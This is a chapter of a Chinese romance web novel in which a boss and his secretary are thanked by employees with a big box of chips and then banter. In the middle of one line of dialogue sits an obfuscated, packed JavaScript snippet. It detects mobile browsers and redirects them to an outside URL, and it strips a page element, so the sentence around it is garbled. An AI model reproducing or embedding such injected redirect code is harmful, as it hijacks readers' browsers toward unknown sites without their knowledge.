与此同时,悄悄观察自家秘书,发现对方表情一如既往平静的盛溱也很满意。 不错,就是这个度。 就如他所说,他的确是因为陈裕青的那番话意识到了公司存在的这点问题,他也确实对自己秘书所经历过的糟心事有些生气,气自己当时居然没发现。 过去无法更改,未来总要有所作为,他抽时间让人搞了个调查问卷,并鼓励受害员工发声,抽丝剥茧,对被投诉的几名管理层调岗的调岗,解雇的解雇,所幸结果不错。 做了这些,在青年疑问时本该如实相告,可临出口的那一刻盛溱忽然记起他的秘书其实喜欢他这件事,顿时就改了个说辞。 毕竟他又无法回应对方的情感,若是因为这个再叫对方心存感动,更加深爱他,那可就难办了。 目前看来,对方并没有起疑,盛溱很满意这种状况。 两人各怀心思往前走,走着走着,陈裕青忽然从后面被人叫住。 “陈秘陈秘,等一下——” 陈裕青闻声回头,发现是几个员工抱着什么东西朝他小跑过来。 定睛一看,员工是他之前见过的商务部那几个,一直受韦昌的欺负被他撞见,再一看,那怀里的东西竟是一个超级薯片大礼包,几十种口味都在的那种。 他讶然:“你们这是?” “陈秘,我们是来感谢你的!” 为首的那个女孩子站定说完,刚喘一口气,看见陈裕青后面闻声转身过来的盛溱,对上盛溱冷漠的黑眸,顿时又倒吸一口气,僵住。 卧槽盛总怎么也在这! 盛溱人高腿长,步子也大,一直走在陈裕青前面一点,刚才又是一个拐角,眼里只有陈裕青的这几个员工压根没注意到前头还有一个盛溱,都走过来了才发现,眼下被盛溱冷冷盯着,纷纷咽了咽口水,不知道该说什么,一瞬冷场。 幸好陈裕青是个温和的,擅于应对各种复杂场面,就温声询问:“为什么来感谢我?” “......因、因为指点。”站在最前面的林芙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472438|185497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强迫自己把注意力从盛总身上移开,转而移到前面的青年脸上。 被那双含着盈盈笑意的棕色眼眸注视,她顿时多了几分勇气,话语也越来越流利,兴奋道,“陈秘你还记得吗,上回你路过,听见我们在苦恼新的合作商如何快速选择,就给了点建议,我们听后就立刻去做了,效果很好,还被夸了,所以来谢谢你。” 陈裕青了然,笑意更深。 “有帮助就好,特意感谢就不用了。” “不行啊!” 其他人见状急了,七嘴八舌地应和。 “感谢是应该的,我们本来是没什么头绪的,时间还紧,要不是陈哥你提了下,差点都要赶不上ddl了!” “对对,还分了点奖金!” “听说陈秘你喜欢吃薯片,就买了点,陈秘你一定要收下啊。” 林芙也笑:“就是,本来也不是什么好东西,只是我们的一点心意,陈秘你就当是分享小零食吧。” 说完把薯片大礼包往陈裕青怀里一塞。 礼包超大一份,塞到陈裕青怀里时都把他的视线挡住了,等陈裕青从礼包后奋力探出头的时候,那几个员工已经跑没影了。 他失笑,只好抱着。 所幸送来的只是零食,要是其他什么贵重物品,陈裕青是绝对不会收下的,追到部门也得还回去。 “......爱吃薯片?” 隔了一会儿,盛溱出声了,他看了看青年怀中花花绿绿的包装袋,眉宇轻蹙,“我怎么不知道。” ......你怎么会知道?我又不在你跟前吃,省的被你嘲讽是垃圾食品。 想起从前,陈裕青心里吐槽。 不过这话他可不敢在上司跟前说,就糊弄道:“大概是你之前没注意到吧。” 听闻这话,盛溱沉默了。 陈裕青看见上司难得吃瘪的样子,心情很好,笑的眼睛微弯了下。不知为何,他忽然起了点玩笑的心思:“盛总该不会是被冷落,吃醋了吧?” “?”盛溱回神,不假思索,“没有。” “真的没有吗?”陈裕青挑眉,“按道理来说,他们最应该感谢的是你才对,毕竟你才是他们的老板。” 以前陈裕青从来没起过和盛溱开玩笑的念头,但最近不知怎么了,居然屡屡破戒。或许是和对方人情味变足的原因有关,若是以往,他是绝对不会开这个口的,因为被讥讽的可能性更大。 谁知盛溱听到后摇摇头,认真:“这不一样。我只是下达指令负责决策,真正在做实事的是你,所以他们感谢你才是正确的。” 陈裕青一愣,没想到一个玩笑得到对方如此一本正经的回答。 他心里哼了声。 果然是没什么意思的古板男人。 但心情却是挺好的。 想到什么,陈裕青拆开大礼包的袋子,在里面掏啊掏,掏出来一个绿色包装和浅蓝色包装的,塞到盛溱怀里。 “见者有份。” 嘿嘿,给盛溱他最不爱吃的青柠味和黄瓜味。 盛溱被塞得懵了懵,回过神来后青年已经走出一段距离了。 他看着手里的薯片袋子,犹豫了下,还是打消了扔掉的念头,带回了办公室。